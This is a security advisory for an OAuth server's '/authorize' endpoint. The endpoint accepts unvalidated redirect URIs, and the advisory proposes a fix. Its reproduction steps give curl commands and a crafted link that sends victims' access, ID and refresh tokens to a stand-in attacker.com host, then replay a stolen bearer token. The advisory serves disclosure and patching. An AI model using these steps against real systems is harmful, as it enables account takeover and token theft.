Summary The "/authorize" endpoint accepts any "redirect_uri" without validating it against "AllowedOrigins". When "response_type=token" or "response_type=id_token", the server appends "access_token", "id_token", and "refresh_token" as query parameters and issues a 302 redirect to the attacker-supplied URL. An unauthenticated attacker can obtain the required "client_id" from the public "/graphql?query={meta{client_id}}" endpoint. Partial fix was applied in v2.0.1 to other handlers ("oauth_login", "verify_email", "magic_link_login", "forgot_password", "invite_members", "oauth_callback") but "/authorize" was not included. Vulnerable Code "internal/http_handlers/authorize.go": redirectURI := strings.TrimSpace(gc.Query("redirect_uri")) // ... no IsValidOrigin() call ... // response_type=token path (line ~263): if strings.Contains(redirectURI, "?") { redirectURI = redirectURI + "&" + params } else { redirectURI = redirectURI + "?" + params } handleResponse(gc, responseMode, authURL, redirectURI, ...) // 302 to attacker URL Compare with the fixed "oauth_login.go" in v2.0.1 which calls "validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins)". Steps to Reproduce 1. Obtain client_id (no authentication required) CLIENT_ID=$(curl -s http://TARGET/graphql -H "Content-Type: application/json" -d '{"query":"{meta{client_id}}"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['data']['meta']['client_id'])") echo "client_id: $CLIENT_ID" 2. Craft the malicious URL and send to victim (victim must be logged in) When victim opens this URL, tokens are delivered to attacker.com MALICIOUS_URL="http://TARGET/authorize?response_type=token&client_id=${CLIENT_ID}&redirect_uri=https://attacker.com/steal&scope=openid+profile+email&state=x&response_mode=query" echo "Send to victim: $MALICIOUS_URL" 3. Attacker receives 302 redirect with all tokens: https://attacker.com/steal?access_token=eyJ...&token_type=bearer&expires_in=...&id_token=eyJ... 4. Validate stolen token curl -s http://TARGET/userinfo -H "Authorization: Bearer STOLEN_ACCESS_TOKEN" Returns: {"email":"victim@example.com","id":"...","roles":["user"]} Impact An attacker who tricks a logged-in user into clicking a crafted link can steal the victim's "access_token", "id_token", and "refresh_token". The attacker can then impersonate the victim for the full token lifetime. No user interaction beyond clicking the link is required; the victim's browser issues the redirect automatically. Proposed Fix Add the same "IsValidOrigin" check that was applied to the other handlers in v2.0.1: // In authorize.go, after reading redirect_uri: if !validators.IsValidOrigin(redirectURI, h.Config.AllowedOrigins) { handleResponse(gc, responseMode, authURL, redirectURI, map[string]interface{}{ "error": "invalid_request", "error_description": "redirect_uri is not allowed", }, http.StatusBadRequest) return }